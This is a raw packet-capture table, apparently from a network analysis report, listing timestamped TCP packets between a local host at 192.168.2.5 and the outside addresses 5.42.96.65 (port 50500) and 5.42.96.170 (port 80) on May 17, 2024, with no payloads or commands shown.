May 17, 2024 23:45:11.623294115 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623300076 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623327017 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623328924 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623353958 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623359919 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623380899 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623388052 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623404980 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623406887 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623431921 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623434067 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623455048 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623461008 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623486996 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623486996 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623507023 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623513937 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623536110 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623542070 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623558998 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623569012 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623595953 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623600006 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623620987 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623621941 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623650074 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623652935 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623676062 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623680115 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623697996 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623703003 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623720884 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623759985 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625394106 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625410080 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625422001 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625433922 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625446081 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625458002 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625462055 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625469923 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625482082 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625494003 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625494957 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625507116 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625519037 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625528097 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625530005 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625543118 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625555038 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625556946 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625566006 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625577927 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625590086 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625602007 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625603914 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.625633001 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625633001 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.625659943 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.628906965 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.628921032 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.628931999 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.628945112 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.628956079 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.628968000 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.628978014 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.628979921 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.628992081 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629004002 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629009008 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629013062 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629024982 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629036903 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629049063 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629060984 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629060984 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.629072905 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629095078 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629107952 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629117012 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.629117012 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.629120111 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629132986 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629144907 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.629149914 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.629151106 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.629178047 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.629200935 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631203890 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631218910 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631231070 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631242990 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631258011 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631266117 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631270885 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631283998 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631294966 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631298065 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631308079 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631319046 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631331921 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631333113 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631333113 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631346941 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631361008 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631371975 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.631373882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631373882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631406069 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631406069 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.631432056 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634104013 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634116888 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634128094 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634140968 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634152889 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634164095 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634176016 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634172916 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634172916 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634187937 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634201050 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634208918 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634212017 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634224892 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634237051 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634248018 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634257078 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634259939 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634257078 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634272099 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634284973 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634294033 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634294033 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634296894 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634309053 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634321928 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634322882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634334087 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634346008 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.634351015 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634377003 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634377003 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.634407043 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636517048 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636533022 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636544943 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636557102 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636569023 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636580944 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636593103 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636595964 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636595964 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636604071 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636617899 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636625051 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636629105 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636641979 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636653900 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636658907 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636658907 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636666059 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636678934 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636691093 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636698008 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636698008 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636703014 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636715889 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636720896 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636728048 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636738062 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636740923 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636753082 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636765957 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.636785984 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.636812925 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.641321898 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.641335011 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.641345978 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.641357899 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.641369104 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.641381025 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.641396046 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.641438007 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.682723999 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.683119059 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.683276892 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.718075037 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.718622923 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.718795061 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.723812103 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773016930 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773036957 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773049116 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773073912 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773099899 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773128986 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773164034 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773196936 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773226023 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.773253918 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:12.959076881 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:12.972059011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:12.972141981 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:12.975779057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:13.026381016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.157203913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.157351971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.161366940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.207428932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.552071095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.552203894 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.553447962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.553885937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.555825949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.555838108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.556128025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.560369968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.560380936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.560385942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.560544014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.565460920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.565471888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.565691948 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.570732117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.570801020 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.572171926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.572184086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.572191954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.572279930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.623363972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.623414040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.741318941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.741508961 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.742198944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.742245913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.744277000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.744337082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.746454000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.746656895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.748555899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.748567104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.748853922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.753587008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.753597975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.753607035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.753707886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.753707886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.758524895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.758534908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.758590937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.758609056 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.760152102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.760163069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.760440111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.763641119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.763652086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.763808012 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.766545057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.766556025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.766565084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.766854048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.766854048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.770467043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.770591974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.771281004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.771291018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.771328926 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.771640062 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.774373055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.774419069 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.776154995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.776165009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.776390076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.776390076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.895349026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.896126986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.931375980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.931874990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.931905031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.931967020 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.933723927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.933806896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.935133934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.935143948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.935245037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.935245037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.936830044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.936840057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.937025070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.940022945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.940037012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.940121889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.943253040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.943264008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.943355083 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.945848942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.945859909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.945867062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.945920944 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.945940971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.948429108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.948440075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.948488951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.951026917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.951036930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.951081991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.953685999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.953696966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.953746080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.955910921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.955921888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.955966949 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.958081961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.958096981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.958105087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.958156109 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.958173037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.960350037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.960360050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.960406065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.963663101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.963675022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.963682890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.963730097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.963730097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.965171099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.965220928 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.966290951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.966301918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.966346025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.968360901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.968372107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.968410015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.968429089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.970437050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.970617056 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.971491098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.971502066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.971545935 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.973083019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.973093033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.973161936 CEST	49707	80	192.168.2.5	5.42.96.170
